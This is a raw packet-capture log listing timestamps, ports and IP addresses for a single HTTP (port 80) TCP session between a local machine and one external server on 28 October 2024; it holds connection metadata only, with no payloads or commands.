Oct 28, 2024 06:27:23.597122908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.597152948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.597552061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597563982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597573996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597599030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.597604990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597625017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.597645044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597656012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597659111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.597701073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.597724915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597745895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597758055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597764969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.597804070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.597961903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597973108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597985029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.598002911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.598041058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.598062992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.598078966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.598089933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.598099947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.598105907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.598112106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.598121881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.598133087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.598145962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.598186970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.598371029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.598409891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.645550013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.650917053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.930463076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.930490017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.930500031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.930511951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.930524111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.930537939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.930571079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.930576086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.930582047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.930593014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.930622101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.930639982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.930640936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.930651903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.930679083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.930692911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.930830002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.930840015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.930845976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.930890083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.930905104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.930915117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.930944920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.930984020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931015015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931021929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931026936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931051016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931070089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931077003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931087017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931096077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931107998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931113958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931138039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931162119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931329012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931369066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931396961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931408882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931418896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931436062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931449890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931478024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931487083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931498051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931509972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931515932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931545019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931710958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931729078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931739092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931749105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931778908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931811094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931854010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931863070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931874037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931899071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931917906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931917906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931930065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931941032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.931956053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.931973934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051012039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051024914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051043034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051054955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051065922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051074982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051076889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051101923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051130056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051131010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051142931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051153898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051168919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051192045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051194906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051229954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051251888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051264048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051275015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051286936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051304102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051451921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051462889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051475048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051486015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051491022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051496983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051520109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051537991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051605940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051641941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051641941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051654100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051664114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051675081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051695108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051703930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051723003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051734924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051745892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051754951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.051758051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051774025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051789999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.051970959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052007914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052032948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052045107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052056074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052069902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052088022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052179098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052191019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052207947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052216053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052220106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052231073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052242041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052257061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052280903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052423954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052481890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052536964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052547932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052558899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052571058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052572966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052582979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052593946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052593946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052604914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052607059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052634001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052637100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052647114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052649021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052671909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052689075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052866936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052905083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052922964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052937031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.052961111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052978039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.052997112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.053009033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.053020000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.053033113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.053049088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.053064108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.053177118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.053212881 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.053229094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.053263903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.053292036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.053303957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.053316116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.053327084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.053328037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.053339005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.053347111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.053349018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.053366899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.053395033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.094908953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.094924927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.094978094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.171458006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171472073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171482086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171509981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171520948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171530962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171540976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.171542883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171586990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.171608925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171627045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171649933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.171679020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.171684980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171726942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.171734095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171775103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.171785116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171828985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.171883106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171894073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171905041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171916008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171925068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.171927929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171940088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171951056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.171953917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.171971083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.171998024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.172079086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172118902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.172144890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172156096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172168016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172184944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.172195911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172205925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.172208071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172244072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.172265053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172307014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.172415018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172425032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172435999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172446012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172461987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.172489882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.172517061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172528982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172539949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172559977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.172574043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.172593117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172605038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172615051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172637939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.172662973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.172780991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172800064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172811031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172821999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.172833920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.172854900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.172885895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172898054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.172930956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.173021078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173038006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173049927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173055887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173067093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.173070908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173082113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173098087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.173127890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.173446894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173463106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173480034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173490047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173501968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173502922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.173512936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173525095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.173526049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173537016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173542023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.173547983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173559904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173568010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.173603058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.173779011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173789978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173800945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173814058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.173824072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.173840046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.173862934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.215050936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.215063095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.215068102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.215074062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.215240955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.291903019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.291915894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.291925907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.291937113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.291979074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292001009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292022943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292032957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292043924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292046070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292054892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292077065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292099953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292113066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292124033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292134047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292160988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292191982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292217016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292226076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292242050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292265892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292272091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292282104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292289019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292320013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292340040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292357922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292367935 CET	80	49758	185.215.113.206	192.168.2.4
